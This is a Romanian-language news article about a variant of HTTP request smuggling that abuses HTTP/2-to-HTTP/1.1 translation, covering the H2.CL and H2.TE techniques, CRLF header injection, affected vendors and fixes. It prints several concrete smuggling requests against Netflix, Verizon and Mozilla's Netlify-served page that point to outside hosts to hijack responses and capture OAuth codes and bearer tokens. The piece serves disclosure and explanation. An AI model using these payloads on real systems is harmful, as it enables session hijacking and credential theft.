Sistemele web în care frontendul primește conexiuni prin HTTP/2 și le transmite backendului prin HTTP/1.1 au fost expuse unei noi variante a atacului „HTTP Request Smuggling”, care permite intercalarea de conținut din cererile altor utilizatori, procesate în același flux între frontend și backend, prin trimiterea de cereri client elaborate în mod special. Atacul poate fi folosit pentru a insera cod JavaScript malițios în sesiuni cu site-uri legitime, pentru a ocoli sistemele de restricție a accesului și pentru a intercepta parametrii de autentificare.
Problema afectează web-proxys, echilibratoarele de sarcină, acceleratoarele web, sistemele de livrare a conținutului și alte configurații în care cererile sunt redirecționate pe schema frontend-backend. Autorul studiului a demonstrat posibilitatea atacului asupra sistemelor Netflix, Verizon, Bitbucket, Netlify CDN și Atlassian, primind 56.000 de dolari în programele de recompensare pentru identificarea vulnerabilităților. Problema a fost de asemenea confirmată în produsele F5 Networks. Parțial, problema afectează mod_proxy în serverul http Apache (CVE-2021-33193), iar corecturile sunt așteptate în versiunea 2.4.49 (dezvoltatorii au fost informați despre problemă la începutul lui mai și au avut 3 luni pentru a remedia). În nginx, posibilitatea de a specifica simultan antetele „Content-Length” și „Transfer-Encoding” a fost blocată în ultima versiune (1.21.1). Instrumentele pentru desfășurarea atacurilor au fost deja adăugate în kitul de instrumente Burp și sunt disponibile sub formă de extensie Turbo Intruder.
Principiul de funcționare al noii metode de intercalare a cererilor în trafic este similar cu vulnerabilitatea identificată de același investigat acum doi ani, dar limitată la frontenduri care acceptă cereri prin HTTP/1.1. Să reamintim că, în schema frontend-backend, cererile clienților sunt acceptate de un nod suplimentar — frontend, care stabilește o conexiune TCP de lungă durată cu backendul, care realizează procesarea directă a cererilor. Prin această conexiune comună, de obicei, sunt transmise cererile diferitor utilizatori, care urmează o succesiune lineară una după alta, separate prin mijloacele protocoalelor HTTP.
Atacul clasic „HTTP Request Smuggling” se baza pe modul în care frontend-urile și backend-urile interpretează diferit utilizarea header-elor HTTP „Content-Length” (care definește dimensiunea totală a datelor din solicitare) și „Transfer-Encoding: chunked” (care permite transmiterea datelor în părți). De exemplu, dacă frontend-ul suportă doar „Content-Length”, dar ignoră „Transfer-Encoding: chunked”, atunci un atacator poate trimite o solicitare în care sunt specificate simultan header-ele „Content-Length” și „Transfer-Encoding: chunked”, dar dimensiunea din „Content-Length” nu corespunde dimensiunii lanțului chunked. În acest caz, frontend-ul va procesa și va redirecționa solicitarea conform „Content-Length”, iar backend-ul va aștepta finalizarea blocului pe baza „Transfer-Encoding: chunked”, iar restul solicitării atacatorului se va regăsi la începutul unei alte solicitări transmise ulterior.
Spre deosebire de protocolul text HTTP/1.1, al cărui parsing se realizează pe baza liniilor, HTTP/2 este un protocol binar care manipulează blocuri de date de dimensiuni specificate anterior. În plus, în HTTP/2 se folosesc pseudo-header-e corespunzătoare header-elor obișnuite HTTP. Când interacționează cu backend-ul prin protocolul HTTP/1.1, frontend-ul traduce aceste pseudo-header-e în header-e HTTP echivalente HTTP/1.1. Problema este că backend-ul ia decizii cu privire la parsing-ul fluxului deja pe baza header-elor HTTP specificate de frontend, fără a avea informații despre parametrii solicitării inițiale.
Inclusiv sub forma pseudo-header-elor, pot fi transmise valori „content-length” și „transfer-encoding”, deși în HTTP/2 acestea nu sunt utilizate, deoarece dimensiunea tuturor datelor este definită într-un câmp separat. Cu toate acestea, în procesul de conversie a solicitării HTTP/2 în HTTP/1.1, aceste header-e sunt transferate și pot induce în eroare backend-ul. Se evidențiază două variante principale de atac: H2.TE și H2.CL, în care backend-ul este indus în eroare de o valoare incorectă transfer-encoding sau content-length, care nu corespunde dimensiunii reale a corpului solicitării primite de frontend prin protocolul HTTP/2.

Ca exemplu de atac H2.CL este specificarea unei dimensiuni incorecte în pseudotitlul content-length la trimiterea unei cereri HTTP/2 către Netflix. Această cerere determină adăugarea unui antet HTTP similar, Content-Length, la apelul backend prin HTTP/1.1, dar deoarece dimensiunea din Content-Length este specificată mai mică decât cea reală, o parte din datele de la final sunt tratate ca începutul următoarei cereri.
De exemplu, cererea HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Va duce la trimiterea unei cereri către backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Deoarece Content-Length are valoarea 4, backendul va percepe ca corp al cererii doar „abcd”, iar restul „GET /n HTTP/1.1…” va fi tratat ca începutul următoarei cereri, legată de un alt utilizator. În mod corespunzător, va avea loc o desincronizare a fluxului și ca răspuns la următoarea cerere va fi returnat rezultatul procesării unei cereri substitutive. În cazul Netflix, specificarea unui host extern în antetul „Host:” în cererea substitutivă a dus la returnarea către client a răspunsului „Location: https://02.rs?x.netflix.com/n” și a permis transmiterea către client a unui conținut arbitrar, inclusiv executarea codului său JavaScript în contextul site-ului Netflix.
A doua variantă de atac (H2.TE) este legată de substituirea antetului „Transfer-Encoding: chunked”. Utilizarea pseudotitlului transfer-encoding în HTTP/2 este interzisă de specificație, iar cererile cu acesta trebuie considerate ca fiind incorecte. Cu toate acestea, unele implementări în frontend-uri nu iau în considerare această cerință și permit utilizarea pseudotitlului transfer-encoding în HTTP/2, care este transformat într-un antet similar HTTP. În prezența antetului „Transfer-Encoding”, backendul îl poate percepe ca fiind mai prioritar și să efectueze analiza datelor în mod „chunked” folosind blocuri de diferite dimensiuni în formatul „{dimensiune}\r\n{bloc}\r\n{dimensiune}\r\n{bloc}\r\n0”, în ciuda separației inițiale pe baza dimensiunii totale.
Prezența unei astfel de breșe a fost demonstrată prin exemplul companiei Verizon. Problema a fost întâlnită pe portalul de autentificare și a sistemului de gestionare a conținutului, care este folosită și pe site-uri precum Huffington Post și Engadget. De exemplu, cererea clientului prin HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
A dus la transmiterea către backend a cererii HTTP/1.1: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Backend-ul, la rândul său, a ignorat antetul „Content-Length” și a efectuat fragmentarea în flux pe baza „Transfer-Encoding: chunked”. În practică, atacul a permis redirecționarea cererilor utilizatorilor către propriul site și, inclusiv, interceptarea cererilor legate de autentificarea OAuth, ale căror parametri apăreau în antetul Referer, precum și simularea unei sesiuni de autentificare și inițierea trimiterii de către sistem a acreditivului utilizatorului către gazda atacatorului. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Pentru atacurile asupra implementărilor HTTP/2, care nu permit specificarea antetului pseudo transfer-encoding, a fost propusă o altă metodă, legată de substituirea antetului „Transfer-Encoding” prin atașarea acestuia la alte antete pseudo, separate printr-un caracter de sfârșit de linie (la conversia în HTTP/1.1, în acest caz, se creează două antete HTTP separate).
De exemplu, problema menționată a afectat Atlassian Jira și Netlify CDN (folosit pentru livrarea paginii de start Mozilla în Firefox). În special, cererea HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
a dus la trimiterea către backend a cererii HTTP/1.1 POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
O altă variantă de substituție a antetului „Transfer-Encoding” a fost atașarea acestuia la numele altui antet pseudo sau la șirul cu metoda cererii. De exemplu, în timpul apelului către Atlassian Jira, numele antetului pseudo „foo: bar\r\ntransfer-encoding” cu valoarea „chunked” ducea la adăugarea antetelor HTTP „foo: bar” și „transfer-encoding: chunked”, iar specificarea în antetul pseudo „:method” a valorii „GET / HTTP/1.1\r\nTransfer-encoding: chunked” era tradusă în „GET / HTTP/1.1\r\ntransfer-encoding: chunked”.
Cercetătorul care a identificat problema a propus, de asemenea, o tehnică de tunelare a cererilor pentru a efectua atacuri asupra frontend-urilor, în care pentru fiecare adrese IP se stabilește o conexiune separată cu backend-ul și traficul diferitelor utilizatori nu se amestecă. Tehnica propusă nu permite intevenția în cererile altor utilizatori, dar oferă posibilitatea de a injecta un cache comun, care influențează procesarea altor cereri și permite substituirea antetelor HTTP interne, folosite pentru transmiterea informațiilor între frontend și backend (de exemplu, în cazul autentificării pe partea frontend, informații despre utilizatorul curent pot fi transmise backend-ului în aceste antete). Ca exemplu de aplicare practică a metodei, prin intermediul injectării cache-ului s-a reușit obținerea controlului asupra paginilor din serviciul Bitbucket.
Sursa: opennet.ro
